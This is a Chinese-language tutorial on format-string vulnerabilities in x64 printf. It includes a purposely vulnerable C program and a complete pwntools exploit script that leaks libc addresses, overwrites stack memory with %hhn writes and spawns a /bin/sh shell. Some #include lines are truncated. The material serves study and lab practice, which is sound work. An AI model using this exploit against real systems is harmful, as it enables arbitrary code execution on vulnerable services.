测试平台:ubuntu14.04 x64
格式化漏洞是由在编程时使用printf函数在将数据格式化输出时产生的漏洞,其中*printf()函数包括printf, fprintf, sprintf, snprintf, vprintf, vfprintf,vsprintf, vsnprintf等函数,它们可以将数据格式化后输出。以最简单的printf()为例:
int printf(const char *format, arg1,arg2,…);
先来看一个简单例子:
#include
int main(int argc,char* argv[])
{
char str1[]="hello ";
char str2[]="world ";
char str3[]="I ";
char str4[]="am ";
char str5[]="Tom ";
char str6[]="i ";
char str7[]="very ";
char str8[]="happy ";
char str9[]="to ";
char str10[]="see ";
char str11[]="you !";
printf("%s %s %s %s %s\n", str1,str2,str3,str4,str5);
printf("%s %s %s %s %s %s %s %s %s %s %s\n", str1,str2,str3,str4,str5,str6,str7,str8,str9,str10,str11);
return 0;
}
这里的printf低于6个参数,则直接传给寄存器,按照参数从左到右依次为edi,rsi,rdx,rcx,r8,r9
大于5个参数时,则会压入栈:
栈
所以采取<<0day安全>>中介绍的格式化漏洞利用,会略有区别。
$ 号是用来指定参数的。读取栈上某地址的话大概格式是:
%%参数顺序$类型n,譬如:%7$lx,就是以lx格式读第7个参数的值。
如果做写入的话一般格式是:
%%数值c%参数顺序$类型,譬如说:%%40c%5$hhn,就是向第5个参数写入40这个数值。
#include
int main(int argc,char* argv[])
{
char str1[]="hello ";
char str2[]="world ";
char str3[]="I ";
char str4[]="am ";
char str5[]="Tom ";
printf("%2$s %s %s %s %s %s\n",str1,str2,str3,str4,str5 );
return 0;
}
输出结果就成了:
world hello world I am Tom
%n$p,合理控制n就能获取栈中数据
int main(int argc,char* argv[])
{
char str1[]="111111";
char str2[]="222222";
printf("%%48c%2$hhn \n",str1,str2 );
printf("%c %c %c %c\n",str2[0],str2[1],str2[2],str2[3]);
return 0;
}
结果
%48c
4 32 32 32
#include
#include
int handle(){
char buf[32];
memset(buf,0,32);
read(0,buf,32);
printf(buf);
printf("\n");
fflush(stdout);
if(strcmp(buf,"exit")==0){
return 1;
}
return 0;
}
int main(int argc,char* argv[])
{
while(1){
if(handle()){
break;
}
}
return 0;
}
from pwn import *
import sys, os
DEBUG = 1
if DEBUG:
target='./crakeMe'
context.log_level='error'
pro = process(target)
#gdb.attach(pro)
else:
p = remote('xxxxxx', 8080)
def get_ptr_value(addr):
payload='%7$s---\x00'+p64(addr)
pro.sendline(payload)
data=pro.recvuntil('---\n', drop=False)[:-4]
if data == "":
data = "\x00"
return data
def leak_data(addr):
return get_ptr_value(addr)
def get_system_addr():
d = DynELF(leak_data, elf=ELF(target))
system_addr = d.lookup('system', 'libc')
return system_addr
def get_libc_addr():
d = DynELF(leak_data, elf=ELF(target))
system_addr = d.lookup(None, 'libc')
return system_addr
def get_fun_addr(addr):
value =get_ptr_value(addr)
fun_addr=u64(value.ljust(8,'\x00'))
return fun_addr
def get_ebp_addr():
payload='%12$lx'
pro.send(payload)
return int(pro.recvuntil('\n', drop=False)[:-1],16)
def modify_addr_val(addr,val):
if val == 0:
val = 0x100
payload = '%%%dc%%8$hhn--\x00'%val
payload+=(16-len(payload))*'\x00'
payload+= p64(addr)
pro.send(payload)
pro.recv()
def modify_addr_data(addr, data):
for i in range(len(data)):
modify_addr_val(addr + i, ord(data[i]))
def main():
ebp_addr=get_ebp_addr()
offset=-0xa8d90
read_got=0x601038
read_addr = get_fun_addr(read_got)
system_addr=get_system_addr()
print 'offset',hex(system_addr -read_addr)
#0x00FDFF9 pop rax
#0x00FDFFA pop rdi
#0x00FDFFA call rax
call_eax_addr=0x00FDFF9+get_libc_addr()
start_addr=ebp_addr+8
binsh_addr=ebp_addr+8*4
payload =p64(call_eax_addr)
payload+=p64(system_addr)
payload+=p64(binsh_addr)
payload+='/bin/sh;'
#context.log_level='debug'
modify_addr_data(start_addr,payload)
payload='exit'
pro.send(payload)
pro.interactive()
if __name__ == '__main__':
main()
参考资料$:https://bbs.pediy.com/thread-224943.htm